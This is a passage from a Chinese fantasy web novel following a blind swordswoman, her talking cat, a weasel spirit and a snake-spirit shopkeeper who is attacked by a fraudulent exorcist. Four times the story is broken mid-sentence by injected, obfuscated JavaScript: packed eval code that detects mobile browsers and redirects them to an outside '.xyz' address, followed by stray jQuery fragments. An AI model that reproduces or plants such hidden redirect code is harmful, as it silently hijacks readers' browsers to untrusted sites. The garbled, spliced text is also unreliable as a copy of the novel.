君无岐心间厌烦。她蹲下身拿他的衣角擦净短剑,顺便也擦了擦手,道,“你还知道什么,都告诉我。”
郦英华只会傻愣愣地看着她,像条鱼。
君无岐举起短剑。
“等等,等等!”郦英华忽然又蹦起来,“大伯父,大伯父让我夺了剑之后去德陵郡交差,他可能、可能就在那里!”
“总算说了点有用的。”君无岐慢慢放下手,那精巧的下颌和嘴唇此时在他眼中如厉鬼般可怖,“不过还是有点可惜,你怎么就猜出来我是谁了呢。”
郦英华张大嘴。
“下辈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737970|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子投个好胎吧,可千万别去郦家。”君无岐轻笑着把短剑送进他的心窝,“这一家子呐,都是怪物,没有心的。”
太阳升起来,终于有了点正午的意思,树梢上最后一点雨的余韵也被烤干,整个山林都散发着湿热的气息。君无岐毫无心理压力地摸走郦英华身上所有的财物,颠一颠还瘫在竹筐里的召南。
“咱们终于有钱了。”她说,“你怎么样?”
猫有气无力地伸出爪子,“还活着……”
君无岐给猫也念了一遍祝由术,把它从筐里抱出来,软绵绵的一大团,托在臂弯里。
“怎么就中药了呢。”她困惑,“我们都没事啊。”
祝由术多少还是发挥了些作用,召南精神了点,又有力气踩她了,“我还想问呢!那一窝黑乌鸦身上那么大的药味,你们都闻不见?”
“药味?”君无岐摸着猫头,愁眉不展,“哪有药味。要是闻得到我们还会被埋伏吗。”
“奇了怪了。”猫嘀咕着,“明明就很浓、很臭,就像是、就像是死鱼的味道!”
“可能是某些针对妖兽的成分。”君无岐若有所思,“所以那头老虎才能雷劈一次还不死,攻击性还那么强吗……”
召南摆脱了那股子难受劲,心思立马像炸开的烟花一样四处乱飞,此时已经把注意力转移到了郦英华身上。它往君无岐肩上爬,露出个脑袋向后张望,“那人谁啊?为什么杀他?”
口吻很平淡,只有单纯的疑惑,就像在问今天中午吃什么饭。
“润西郦家派来的倒霉监工,他们想要毕远的剑,杨家就是他们指使的。”君无岐快速给它过了一遍当前信息,“他想弄我,我就把他杀了。”
语气也很平淡,就像回答话痨的猫中午只有豆饭能吃。
“哦,那咱们现在去哪?回去吗?”召南心有余悸地甩了下尾巴,“可那群乌鸦还在,要是又中那个药怎么办……”
“不回去,老虎已经死了,剩下的人和我们都没关系了。”君无岐拿好她的木杖,试图辨别方向,“我们下山,去德陵郡。”
“怎么就忽然去德陵郡了?”猫对她突然的决定没有任何异议,只是有点小小的牢骚,“你知道往哪边走吗?”
“没事,一会出去了摆个阵问问。”君无岐闲适道,“那人身上有一大串铜板,够问好几次的了。”
“终于有钱了!”猫终于想起来这最重要的一茬,欢呼,“那等我进了城里,我要吃虾,还有鱼干!”
君无岐任由兴奋的猫在她身上乱爬,她们以前也经常这样。袖子里多了不少东西,比来时沉,金锞子和铜板碰撞着,有小小的、丁零当啷的清脆声音。
她把空着的手伸进去,金锞子打成花瓣形状的边缘硌硌的,摸起来有种奇异手感。会把金锞子打成茶花形状的人家多吗?这只是个巧合?
心里犹豫着,君无岐行动上却毫无返回的迹象。还不知道郦玉成要在德陵郡留多久,当然还是去得越快越好,至于其他的,暂时都还……
“齐姑娘。”忽然前方有平静的声音,她猝不及防地刹住脚步。
“不告而别似乎有些不太合适,你觉得呢?”
是毕远。
或者说,庆熙郡王。
8. 照虹山(八)
既然他在这里,那想必杨家的一伙人都已经死了。
君无岐面色不改,好像从来没有要独自一人下山似的,“毕公子……啊不,郡王殿下,您看,民女没见过世面,都不知道该如何称呼了,还请殿下海涵。”
毕远按了下额头。
好明显的一通阴阳怪气。
“隐瞒身份是在下之过,但姑娘也不必如此……”他叹了口气,“我本名元璧,不知姑娘的真名是?”
两个人用假名用得心知肚明。
“我本姓君,单名一个齐。”君无岐假笑,“不告而别是我不对,现在告了,那就恕我无礼,告辞。”
元璧眉心紧紧皱起来,这人怎么前后态度变化如此之大,也并不像是在耍脾气,更像是……厌恶了他似的。他本不想再如此纠缠,做些没脸的事,但有件事必须要搞清楚。
“君姑娘,且慢。”他喊住君无岐,“你可否……取下蒙眼用的布巾,让我看一看你的脸?”
又来了。
到底是为什么要看她的脸?
君无岐心内烦躁,张口就是一串胡说八道,“郡王殿下有所不知,我家本在西方边陲,对于我这种容貌上有缺损的女子有个规矩,若是缺损的地方被人看到,我就要。”
她对元璧露出白森森的牙,“杀了他。”
一阵风吹过,有点凉。
元璧一时间没说话,不知道是真信了还是被她这种张嘴就来的功力惊到。她拄着杖试探着绕过他,头也不回地往山下去。
“君姑娘。”元璧的声音从身后传来,“得罪了。”
一阵劲风忽至,直指那段布巾!
君无岐没回头,好似早就料到了似的,抬杖就去抵元璧的掌风,这一下丝毫没有留力,若非他收得快,差点被抽断手指。但君无岐没有要放过他的意思,那支木杖蛇一样顺着他手臂向上,不轻不重地敲了一下他的肩窝。
那里顿时一麻,手不由自主地垂了下来。
“都打了几场的强弩之末了,还想来招我。”君无岐侧着半张脸,声音里没什么波澜,“这次是看在你为杀虎出了大力的份上没下死手,再有下次对准的就不是这了。”
元璧垂眸看着那支抵在肩上的木杖,忽而笑了起来。
“君姑娘,你果然听力过人。”他道,“之前几次,怕是都在耍我吧?”
他指的是两人结伴而行时候的事。
恶作剧被拆穿,君无岐面上毫无愧疚,理直气壮,“我是瞎子,听不准不是很正常?”
元璧简直要被她气笑了,这人皮厚心黑手狠,他到底是为什么会觉得似曾相识。顿时怫然道,“那倒是我的错了。”
君无岐没回答,收了杖又要走。
“还有一事,望姑娘为我解惑。”元璧没再出手,只站在她背后提高了点声音,“你这一身功夫,师承何处?”
君无岐步履未停,冷冷道,“剑山。”
身后没再有动静,大约他是彻底放弃了。
猫按捺不住地钻出来,扒着君无岐的脊背,“剑山是什么地方,为什么他不问了?”
“剑山是天下第一剑在的地方,有十年都没收过徒了。”君无岐道,“那种人精,肯定能听出来这是应付他的。”
召南于是就不吭声了,过了好一会才闷闷地说,“我们就这么走了吗?”
君无岐察觉出了它的不对劲,抬手摸了一把猫头,“怎么了,你有什么话要说吗?”
召南自动自觉地把耳朵压下去,喉咙里咕噜了一声才说,“我觉得你有很多秘密,但是都不告诉我,是因为我只是只猫吗……”
君无岐动作一停。
她温柔地询问,“为什么这么想?”
“我是你养大的,我所有事情你都知道,但我认识你的时候你就是这样了,这不公平。”猫说,“我要知道为什么要去德陵郡,你要去那里干什么。”
君无岐心情有点微妙。
感觉像是一手带大的孩子长大了,开始有自己的思考和想法了。
不……她为什么要自觉把自己带进当娘的角色里。
君无岐挥开脑子里那些诡异的念头,认真回答猫的问题,“去德陵郡是因为我的仇人在那里,目的当然就是杀了他。”
召南对杀人这件事没有任何疑问,有疑问的只有,“仇人?什么仇?你的眼睛吗?”
“嗯,有一定的关系吧,不过也有些其他的原因。”君无岐挠了挠猫的下巴,“都是些陈年旧事了。”
“好吧,你不想说我就不问了。”猫仰着头,“那边也来点……嗯嗯……舒服……咕噜咕噜……”
君无岐捏了把猫毛茸茸的嘴筒子,收回手,木杖扫过茂密的灌木丛,忽然心生不妙的感觉。
“召南。”她冷静地问,“我们之前来过这里吗?”
猫慵懒地睁开眼睛,瞳孔还是圆的,一看就还没从享受的状态里出来。它抖抖胡子,慢悠悠地直起身子,“这里?没来过吧。”
君无岐没吭声。
召南骤然反应过来,浑身一抖,腾一下跳上她的肩膀,震惊且茫然地环顾四周,“等等,这里是哪?!”
这不是她们走过的任何一条路,也没有猎户经过留下的标记,是完完全全的陌生的地方。头顶上树杈遮天蔽日,鸟叫声幽远空灵,没有流水声,只有风掠过树梢,哗啦啦像是又下雨了。
“我们迷路了。”君无岐镇定且从容地指出,“无事,且等我算上一算。”
她弯腰,摸索着从地上揪起几根草叶,还特地选的直的,不直不要。
“你要卜筮吗?”召南看她把草叶分开,夹在指缝中,探头问道,“先是法阵,后是祝由,现在又来卜筮,你学得挺杂呀。”
“唉,这年头想顺顺当当地活下去就得多几门技术。”君无岐悠然道,“不然连迷路了都不知道该往哪个方向走。”
她口中念念有词一番,什么“演卦、变爻、变卦”之类召南听不懂的词,过了好一会后就见她放下手,笃定道,“往东南方向走。”
召南慢慢说道,“虽然知道了结果……但是,东南是哪边?”
一人一猫同时陷入沉默。
这可真是个值得思索的问题。
半晌,君无岐若无其事道,“要不我再算算哪里有水源?”
召南有气无力道,“那能顺便算算有多远吗……”
“别慌。”君无岐又捏起那几根草叶,“车到山前必有路,我们必不可能……”
“大仙!”
一个熟悉的声音打断了她的话。
一人一猫同时一愣,猫朝声音来源的方向看去,“咦,黄豆?”
“是我,大仙和猫仙!”小小的黄鼬精蹲在一块大石头上朝她们使劲挥爪,“你们是迷路了吗,我来给你们带路吧!”
“无事献殷勤,非奸即盗。”召南冷哼,“你先说,这次又是什么事?”
“哎呀,猫仙怎么能这么说我,我真的是好心来带你们出去的。”黄豆黑黝黝的小眼珠滴溜溜一转,“当然,要是二位能帮帮我就更好了……”
“我猜,是不是和你的孩子有关?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737971|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
君无岐朝着它这个方向,虽然看不到眼睛,它却恍然感觉有双眼睛在看着自己,不严厉,但很有分量。
黄豆搓搓前爪,“大仙不愧是大仙,真是料事如神!是这样,我的孩子们也到修炼的年纪了,但我只是个半吊子,连变人都只会变个一眼看穿的小老头,就想能不能请您给……”
“不行!绝对不行!”君无岐还没说话,召南先炸了毛,高高拱起脊背怒视着黄豆,缩成细线的瞳孔中闪着凶光,“我看你就是找死,我还在这呢就想给她塞别的小精怪,我可还没死呢!”
君无岐,“等等,召南你这话……”是不是有点奇怪了。
“难道你心动了吗!见异思迁的大骗子!”召南刷一下扭头看她,猫脸上瞬间就换了个表情,堪称泫然欲泣楚楚可怜,“我陪了你这么多年,要吃没吃要穿没穿,现在来了个新人你就想着留下了,好啊,我就知道你只是图我的身子……”
君无岐,“好像不对吧……”怎么越说越奇怪,还演上了。
“你要那几个小鼬,就先从我身上踏过去!”召南昂首挺胸,大声咆哮,“我是不会放过你们这些厚颜无耻的混蛋的!”
黄豆已经听傻了。
君无岐扶额,“召南,你冷静点,黄豆好像不是那个意思。”
“那是什么意思?”召南气势汹汹地瞪着黄豆,指甲从肉垫里弹出来,闪着寒光,“你说!”
“我……我只是想向大仙求个入门修炼的法诀……”黄豆哆哆嗦嗦道,“猫仙明鉴,我绝对没有要给大仙塞小鼬的意思啊!”
“你最好没有。”召南眯着眼睛扫它,“要是让我发现……”
黄豆差点哭了,“不是,猫仙,我真的没那个意思!这些孩子都是我自己生养带大的,怎么可能随便送出去!”
召南打赢了场胜仗似的趾高气扬,“哼,谅你也不敢……嗯?你生养的?”
它那对猫眼一下瞪得溜圆,“你是个母鼬?”
“我从来也没说过我是公的呀。”黄豆也懵了,尾巴不安地在背后甩来甩去,“难道人类世界里公的也能生崽?”
“不不不,那你为什么要变成个老头?”召南混乱了,“老头不是公的吗?难道还有母老头?”
“好了好了。”君无岐笑着把它摘下来,抱在怀里顺了顺毛,“黄豆应当只是见到什么样的人,就照着那个样子变了而已。”
黄豆使劲点头,“是的是的,大仙慧眼如炬!我学着变人的时候见到的老头多,所以就变成了那个样子,老太太实在很少见啦。”
“一只鼬要养大那么多孩子应当也很辛苦。”君无岐道,“这样吧,你带我们出照虹山,我传你一门小妖用的入门修炼法诀,如何?”
“那自然感情好!”黄豆美滋滋道,“大仙,且随我来,我保证给你们带出去!你们要往哪个方向去?是去天泽府,还是崇阳府?”
照虹山是个分界线,一侧是多水多湖的天泽府,另一侧崇阳府则是干燥的大平原,两边无论是生活习惯还是地形地貌都完全不同。
“去崇阳府。”君无岐微笑,“又要麻烦你了,黄豆。”
“为大仙带路是我的荣幸!”不知道黄豆从哪里学来的恭维话,一套一套的。她跳下石头,身后刷一下冒出来一群小鼬,五颜六色,好像几团蓬松的云。
“我们走吧。”她招呼一人一猫,又去招呼自己的孩子们,“都听话,别跟丢了。”
几只鼬跟着她向前走去。
君无岐笑叹一口气,掂掂怀里的猫,放在肩膀上,“我们也走吧。”
9. 藤树(一)
“你不觉得很奇怪吗,为什么每次那只黄鼬都能准确地找到我们?”
“不奇怪,那只鼬身上有照虹山的气机,想找谁那不就是一个想法的事。”
“这是什么意思,难道那只鼬成了照虹山的山神?”猫震惊抬头,“山神不是天生地养的吗?”
“照虹山还不够格生出山神呢。”君无岐悠然道,“得是名山大川,有点名气的,那种才有。黄豆是因为死的时机和地方都巧妙,恰恰在照虹山的地脉上,这才引动了一丝气机,严格来说也不算山神,只是山妖。”
“什么?”召南更震惊了,“那只黄鼬已经死了?!”
君无岐挑眉,“你没发现?”
“我上哪发现去。”猫嘟嘟囔囔地重新把脸埋进饭盆里,喀哧哧地啃大虾,“那她的孩子们呢。”
“她的孩子们还是活的。”君无岐说,“给她的法诀里有固阳祛阴,放心吧。”
“谁担心这个了。”猫叼着一只虾抬头斜眼睇她,“我看你是还放不下可爱的小小鼬吧。”
“……”君无岐。
这茬就绕不开了是吧。
她一把摁下猫脑袋,“吃你的虾,话那么多。”
猫不服气地继续咕噜噜吃虾,开心了,尾巴在身后一甩一甩地拍着凳子,猫毛飞起来,又在某个地方突然消失,飘不到外面去。
这是家生意不错的食店,店里大部分桌椅都坐了客人,一个忙得满头是汗的小二每次经过时都要看一眼,却始终没敢真的上手摸一把。外面熙熙攘攘,招引客人的旗子火一样灼眼地飘扬,叫卖声和讨价还价声烩成一锅,蒸腾出满城人间香气。
君无岐面前摆了碗豆饭,还有碟炒荠菜,菜是新鲜的,满眼水灵灵的绿。她拿着筷子慢悠悠一口一口地吃,并不着急。
这里是沛新县,翻过照虹山后来到崇阳府后的第一个大县,人员往来极多,是个还算得上富庶的地方。
这家食店开在离城门不远的地方,因为价格还算公道,来吃饭的客人不少,大多都风尘仆仆,满面风霜。靠墙坐了一桌人,有男有女,大多作行走江湖的劲装打扮,此时却不知为何突然吵了起来。
“我都说了没偷懒!就那么没了!我一宿都没挪窝!”一个看着年轻些的小伙子梗着脖子吼道,“真的,没骗人!骗人我就是小狗!”
“乐明啊,丢了就丢了,赔给主家就是了,没必要一个劲的嘴硬。”旁边穿蓝杉的中年汉子开口,一脸苦相,八字眉下是双小眼睛,长得颇具特色,“你说你没挪窝,那你去没去撒尿?眼睛有没有一刻不停地盯在箱子上?”
“我……”叫乐明的小伙子脸涨得通红,“可我什么动静都没听见啊,再厉害的贼,偷东西开锁时都得有声吧?”
“江湖上确实有这样厉害的大盗,可这样的大盗也没必要偷我们这个小镖队的镖。”另一边一个穿绛红短打的女人开口,眉目冷硬,鼻上有道贯穿伤疤,“我看,不一定是人干的。”
“你是说,有妖怪?”八字眉皱起眉,更显得愁苦,“但妖怪偷这些米麦做什么?这些东西不算值钱,又随处可见,何必来我们这里偷?”
“我也不知道。”绛红短打摇摇头,看向坐在最里面的人,“少镖头,你觉得呢?”
那是个年轻姑娘,穿一件藏青色的短袍,腰间挎了把刀,有双凌厉的狐眼。她若无其事地喝了口汤,啪一下把什么东西拍到桌上,“今夜我来守,我倒要看看到底是怎么回事。”
桌上竟然是只铜辟邪。
君无岐忽然一偏头。
这只辟邪精雕细琢,发须怒张,圆眼阔鼻,十分威武,阳光下金光灿灿,简直要晃瞎人的眼睛。绛红短打瞄了一眼,惊愕道,“这不是镖头那只很灵验的护身符吗?这是给你护身用了?”
“临走前爹非要给我的。”年轻的少镖头又喝了口汤,敲敲铜辟邪,“有这东西在,什么妖魔鬼怪都得现出原形来。”
“这倒是。”八字眉赞同地点点头,“那就请少镖头今晚辛苦些,看看到底是什么一个劲的来偷东西。”
接下来他们似是又说了什么,只是声音渐渐平息下去,淹没在吵闹中,听不见了。
召南脖子伸得老长,“什么呀?不说了?我还想听听镖局走镖的故事呢。”
“你什么都想知道。”君无岐推了下它的脑袋,力道很轻,很亲昵,“快吃,吃完我们去买点纸,还得买几件衣裳和鞋。”
“哦哦,你要画新的符是吧。”召南把碗里剩下的虾都挑出来吃了,虾头堆在桌面上,摞成一座小小的山,“嗯嗯,好了,我们走吧!”
君无岐背起竹筐,猫自动自觉地跳进去,她拿起新做好的竹杖,往前走,“掌柜的,结账。”
走到镖局那桌旁边,没注意到绛红短打身子向后歪了歪,撞了过去,“哎哟!”
她慌忙摸索,又磕了下桌子,桌面上所有的东西都跟着一跳,包括那枚铜辟邪。她连连道歉,“抱歉抱歉,有没有撞坏你?”
绛红短打本来回头时脸色很难看,一看是个盲人顿时寒冰化春雨,伸出一只手来扶她,“我没事,姑娘小心些。”
“不好意思,不好意思。”君无岐借力站直,道着歉走了,一路顺顺当当到柜台前,结账。
出了店召南才问,“你是故意撞她的吧?想干什么?”
君无岐自然而然地融入到人群中,装傻,“什么意思?”
“你当我看不出来吗,我又不是傻子!”召南扒着她的肩膀使劲晃悠,“快说!”
“哎哟哎哟,别这么暴躁。我就是想靠近点那个铜辟邪,那是个好东西。”
“铜辟邪?”召南疑惑,“有什么特别的?还值得你去碰瓷?”
“什么碰瓷别说的那么难听。那东西上有一丝龙的气息,你没感觉出来?”
“龙?!”召南没忍住惊呼出声,随即意识到什么压低了声音,“真的有龙?你没骗我?”
“我骗你干什么。”君无岐有点无奈,“不过那气息也很淡很淡了,可能是以前的主人有什么奇遇吧。”
“不对啊,你怎么知道那是龙?”召南反应过来,怀疑地盯着她,“你见过?”
君无岐若无其事地岔开话题,“说起来我们要去哪里买纸呢……”
“大骗子,又瞒我!”召南恨恨地踩她,“敷衍我也不知道用个好点的借口!”
“好啦好啦,诶,我好像闻到了好墨的气味,不如我们去那看看?”
街边有家不太起眼的门面,没有招牌,只有门边插了个写着“文房四宝”的旗。门是黑漆雕花的,挂着绘有远山斜梅的帘子,风格很飘逸,从里面散出一股墨锭的气味。一个客人正从里面出来,身后书童捧着几盒墨,盒子上也绘着梅花,一看就与门帘同出一人之手。
“东西虽好,就是贵了些。”客人摇着头,走远了。
君无岐带着猫掀开帘子进门。
柜台后站着个青衣女子,看年纪三十上下,发间簪了支梅花,正在拿算盘噼里啪啦算着些什么。听闻有客进来,她满面笑容地抬头,却在看到来人时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737972|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骤然僵硬,连说出去的话都卡在了齿缝里。
“欢……我没有害人,我真的是在老老实实做生意!”
她连脸色都隐隐泛青,甚至有几枚鳞片出现在耳前,“我卖的都是货真价实的东西,从未擅用妖力,也没有以次充好!”
老板竟然是个蛇妖。
“老板不必惊惶,我不是为捉妖而来。”君无岐双手笼在袖子里,面不改色,“就当我是普通客人便是。”
蛇妖半信半疑地看她,“真的吗?”
君无岐把召南从筐里拎出来,提在手里,“召南,不如你同她说。”
“不要这么提我,很没面子的!”猫在她手里拧成一条毛绒猫猫虫,“坏蛋!放我下来!”
她从善如流地把猫放在地上,对蛇妖微笑,“如你所见。”
“吓我一跳,不是那些动辄便喊打喊杀的除妖师就好。”蛇妖松了口气,“客人想买点什么?”
确定了来人没有恶意,蛇妖极其迅速自然地进入了掌柜身份,熟稔地为她介绍货品,“我们的货物都是上好的,像这都是宣州府的好纸,韧而能润、光而不滑,整个沛新县没有比这更好的纸了!再有这是湖州笔,尖、齐、圆、健,您摸摸这笔尖,无论是画画还是写字都再合适不过……”
她滔滔不绝地介绍着,对每一样货品都如数家珍。君无岐微笑听着,在她开始介绍澄砚时及时打断,“你这里有没有黄纸?”
“黄纸?”蛇妖一愣,随即恍然大悟,“哦,是我疏忽了,客人既是术师,当然黄纸最为得用。这里有,且等我拿出来为您一观。”
她弯腰去取黄纸,恰在此时,又听门一响,有个人闯了进来。
“妖孽!”来人怒吼一声,“我今日便要收了你!”
来人是个中年男人,干枯瘦长,像一把冬天的柴火枝,穿着绘满八卦的袍子,手持罗盘,不甚干净,浑身洋溢着物理意义上的酸腐味。他看也不看,对着君无岐就抬起罗盘,来势汹汹,声音尖利得破了音,“受死!”
罗盘上泛起一阵淡的几乎看不见的白光。
一息、两息……五息。
无事发生。
君无岐困惑道,“你是在对我说话?”
这问题简直好像一把尖刀,瞬间就戳破了男人的面皮。他黑瘦的面孔涨出不太明显的红,声音几乎要掀翻房顶,“妖孽,好高超的术法,看我拿看家本领来降你!”
他说着便掏出一张黄符,口中念念有词。
君无岐再一次打断了他,“你莫不是在求邓天君?”
邓天君便是道经中的雷霆欻火律令大神炎帝邓天君,名燮,字伯温,是神霄雷霆三帅之首,能驱大祟,摇动山岳,妖鬼诸邪闻此神名,悉皆恐惧。
“你、你居然不怕邓天君?!”男人惊恐地瞪着她,“好生厉害的妖孽!”
君无岐迟疑道,“那可能是因为……我不是妖?”
空气突然沉默,所有人都陷入一种莫名的尴尬。
“你学的神霄派道法,”君无岐叒一次打破沉默,“竟然连是人是妖都分辨不出,莫不是……”
“不是!我不是!我是正统神霄派门下弟子!”男人怒吼出声,一双鬣狗似的小眼睛盯着旁边一直没吭声的蛇妖,绽放出不怀好意的光芒,“只是你离妖孽太近我搞错了而已……既然不是你,那就是她!”
他举起手,那只罗盘再一次泛出水波似的白光,只是比上次更弱、更淡,若非召南眼神好,还真的看不清。
“妖孽,拿命来!”
10. 藤树(二)
蛇妖正欲变化原型与之一战,忽然手臂被一只手握住。
是那个盲眼的奇怪术师,她没用力气,却莫名令人无法挣脱。她向前一步,正正好好地拦在她面前,温声道,“我且问你,神霄派的教义为何?”
“这……”男人语塞,心神动摇下看她的眼神也带上了一丝凶狠,“看你阻拦我降妖除魔,也不是个好东西,今日我就连你一起除了!”
话毕,竟然掏出一柄短刀。
蛇妖一惊,慌忙反手拉住她,“姑娘,他掏刀子了!你还是莫要管我,速速离去吧!”
君无岐笑意未变,低声安抚她,“无事。”
她那只同样奇怪的猫三下两下窜上肩头,居高临下冷冷地看着男人。
“也不知道你是哪里偷学来的道法,连教派教义都不清楚,却还拿着邓天君的幌子出来招摇撞骗。”君无岐摇摇头,“被发现了还要杀人灭口。倘若邓天君在天有灵,应当也不愿被你这般小人脏了名声。”
“你懂什么!”男人面目扭曲,举起刀子就要冲过来,“妖孽,受死!”
他若是坚持用道法君无岐或许还要想法子化解,动了武力那当真是丝毫不怕的。她微微叹了口气,握紧竹杖,便要出手。
“等等!”蛇妖忽然冲到她面前,张开双臂,拦住身后人,“你要除妖,便收了我,这事和这位姑娘没有任何关系!”
君无岐一愣。
蛇妖应当修为不算高,身子还在打着颤,听其语意却没有任何要退却的意思,“我梅念玉在此开店三年有余,没有害过一个人,从没坑蒙拐骗、以次充好过,你若是当真认为我有罪,那便收了我好了!我倒要看看你这样丧了良心的除妖师,会不会遭天谴!”
话音落地,她便已化成一条三丈有余的大蛇,通身碧绿,唯有头顶有枝梅花似的白斑,盘踞在君无岐身前,对着男人吐出信子。
店铺里空间有限,她自己一条蛇便能占据小半地方,压迫力和威慑感十足。
“孽畜死到临头了还在嘴硬!”男人冷笑,收了短刀,重新取出那五雷符,“今日我就遂了你的愿,送你去见阎王爷!”
这人人品实在算不上好,道法功底却未见得也浅薄,一串咒文念得那叫一个飞速,大蛇还没来得及靠近他,一道镶红带火的雷电便凭空出现,狠狠一下打在梅念玉身上,那一圈玉似的鳞片霎时间全变得枯黑。
大蛇疼得蜷缩起来,足有海碗粗的尾巴尖重重甩出去,正正好好砸在男人身上,力道不减,直接把他抽得撞坏门帘飞了出去。
外面传来一阵惊呼。
“这要怎么办?”召南看得目瞪口呆,“梅掌柜的伤不要紧吧?”
“我没事。”梅念玉仰起头,话虽如此但整个身子都还在颤抖,“这人胡搅蛮缠,又有几分实力,姑娘还是莫要管我,速速离开吧。”
君无岐默然片刻,忽然摇了摇头。
“那可不行。”她轻笑,“掌柜的说要给我看看黄纸,怎么还没拿来?”
听她骤然提起这一茬,大蛇有点呆。
她还没反应过来是什么意思,就见君无岐施施然点着竹杖出去了。
门外传来她的声音,“这位兄台,你买东西不付钱,还在店里闹事是什么意思?”
买东西?不付钱?闹事?
“分明是这家店的掌柜是个妖孽!妖邪!我是来除妖的!”男人不服气地大喊,踉踉跄跄地从地上爬起来,就要拨开君无岐往里面冲。
然而就在他将要碰到她的那一刻。
君无岐,摔了。
碰瓷碰的可谓是炉火纯青。
她还很有技巧地把竹杖扔到一边,两只手迷茫地在地上摸索,真可谓是无助、可怜且弱小,看得围观群众发出一阵阵的“嘘”声。
斩妖除魔没看到,就看到他欺凌盲人了呢,噫。
“你这、你这贼人!”男人黑瘦的脸上再度泛起不明显的红,气得,“你分明与那蛇妖是一伙的!”
君无岐没说话,只是朝向他这个方向,面露茫然之色。
何其楚楚可怜。
“这家店在这开了好几年,哪有什么蛇妖。”旁边看热闹的人说,“这位道长,你莫不是找错了地方?”
“你们莫要被这帮妖人蒙蔽,她们都不是好东西!”男人脖子上青筋鼓起,大声怒喝,“一帮愚昧村夫,分不清好孬吗!”
“哎你这人怎么说话呢。”有人不乐意了,“你才奇怪吧,莫名其妙就来喊打喊杀的,你谁啊?”
周围的人纷纷附和起来。
“你们……你们……”男人气得几欲呕血,“那蛇就在店里,你们不肯信我,难道还不信自己的眼睛吗?入内一观就是了!”
人群还在半信半疑,有好事者就要拨开破帘子进去店里。忽然听到门声一响,梅念玉从里面出来。
她面色苍白,但头发仍然挽得一丝不苟,青衫如碧水般妥帖地裹在身上,俯身去扶君无岐。
“这位道长,我不明白您为何如此针对我们二人。”梅念玉不看周围的人,只是自顾自为君无岐整理衣服,眼圈通红,“是我哪里得罪了您?还是我这位姊妹请教您道法上的问题,有所冒犯?”
“你……”男人正欲再辩驳,却见梅念玉根本没有交涉的意思,径直搀着君无岐进屋去了。
这可恶的蛇妖!
他一甩袖子,就要跟着进去。
“喂。”有人一把拉住他,他愤然回头,对上一双黑黝黝的眼睛。
那人正朝他露出微笑。
而此时梅烟斋里仍是一片狼藉,但好在蛇尾甩出去的那一下大多只扫到了些纸笔,名贵的砚台墨锭之类还好好待在架子上。梅念玉一进来就再也维持不住体面,剧烈喘息着倒在柜台上,一条蛇尾从衣服下摆伸出来,无力地耷拉着。
“呼……姑娘,那人不知道还会不会进来,”她苦笑,“今日是我连累你了。”
“掌柜的不必说这种话,帮你也是我自愿的。”君无岐道,“你的伤可还好?若信我,为你疗伤一下可行?”
“我当然相信姑娘。”梅念玉勉力起身,转过身来,后腰上赫然一块火烧过般的焦黑伤口,底下血肉袒露出来,还正在往外淌着水,形态颇为瘆人。
她伸出手去,拉起君无岐的衣袖,轻轻放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737973|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在自己腰上,低声道,“就是这里,有劳姑娘了。”
君无岐的手指稳定、温暖,默默悬停在伤口上方。她轻声念起祝由术的口诀,只是这次更为庄重、严肃,一连念了七七四十九次。待她念完,梅念玉的伤口已然看不到黑色,只剩下慢待长起的新生嫩肉。
“这……好生神奇。”梅念玉还有些怔愣,忍不住要去摸自己伤处,被君无岐不轻不重地拍了一下。
她赧然道,“恩人见笑,我是条家蛇,自幼长在人家灶台间,后来因机缘巧遇才有了些修为,见识浅薄,还望勿怪。”
原来是条家蛇,怪不得这么亲近人类。
君无岐并未多说什么,只是叮嘱她,“伤口长好前不得见水,近日也少食羊肉、豆腐……哦,我忘了你是妖,忌口可免,但务必记得别碰水,也别去脏乱的地方。”
“我晓得了。”梅念玉感激道,“对了,怪我无礼,一直不曾问起,恩人高姓大名?”
君无岐迟疑了几息,很短,短到几乎令人察觉不出。
“我叫君无岐。”她笑道,“无是无有之无,岐乃歧路之岐。”
“无有歧路,好名字。”梅念玉赞道,“恩人不是本地人吧?此番来沛新县所为何事?不知我能不能帮上忙?”
